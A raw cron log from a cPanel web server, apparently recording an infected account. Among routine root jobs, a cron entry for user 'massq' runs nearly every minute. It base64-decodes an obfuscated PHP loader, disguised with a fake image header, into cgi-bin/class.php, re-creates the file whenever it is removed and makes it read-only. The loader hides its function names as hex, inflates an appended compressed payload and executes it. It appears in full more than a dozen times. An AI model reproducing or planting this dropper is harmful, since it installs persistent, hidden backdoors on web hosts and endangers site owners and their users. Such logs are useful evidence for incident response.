Aug 31 16:02:01 server CROND[29773]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 16:02:01 server CROND[29774]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:02:01 server CROND[29775]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:03:01 server CROND[30152]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 16:03:01 server CROND[30158]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:03:01 server CROND[30159]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:04:01 server CROND[30521]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:04:01 server CROND[30522]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:04:01 server CROND[30523]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 16:05:01 server CROND[30901]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 16:05:01 server CROND[30904]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 16:05:01 server CROND[30905]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 16:05:01 server CROND[30912]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 16:05:01 server CROND[30915]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:05:01 server CROND[30916]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 16:05:01 server CROND[30914]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 16:05:01 server CROND[30913]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:06:01 server CROND[31883]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 16:06:01 server CROND[31884]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:06:01 server CROND[31885]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:07:01 server CROND[32253]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 16:07:01 server CROND[32254]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:07:01 server CROND[32255]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:08:01 server CROND[32643]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:08:01 server CROND[32644]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:08:01 server CROND[32645]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 16:09:01 server CROND[595]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:09:01 server CROND[596]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 16:09:01 server CROND[597]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 16:09:01 server CROND[607]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:10:01 server CROND[1126]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 16:10:01 server CROND[1127]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 16:10:01 server CROND[1131]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 16:10:01 server CROND[1140]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 16:10:01 server CROND[1139]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 16:10:01 server CROND[1141]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 16:10:01 server CROND[1142]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:10:01 server CROND[1145]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:11:01 server CROND[2194]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:11:01 server CROND[2195]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:11:01 server CROND[2197]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 16:12:01 server CROND[2713]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:12:01 server CROND[2715]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 16:12:01 server CROND[2714]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 16:12:01 server CROND[2716]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:13:02 server CROND[3088]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 16:13:02 server CROND[3089]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:13:02 server CROND[3090]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:14:01 server CROND[3444]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:14:01 server CROND[3445]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
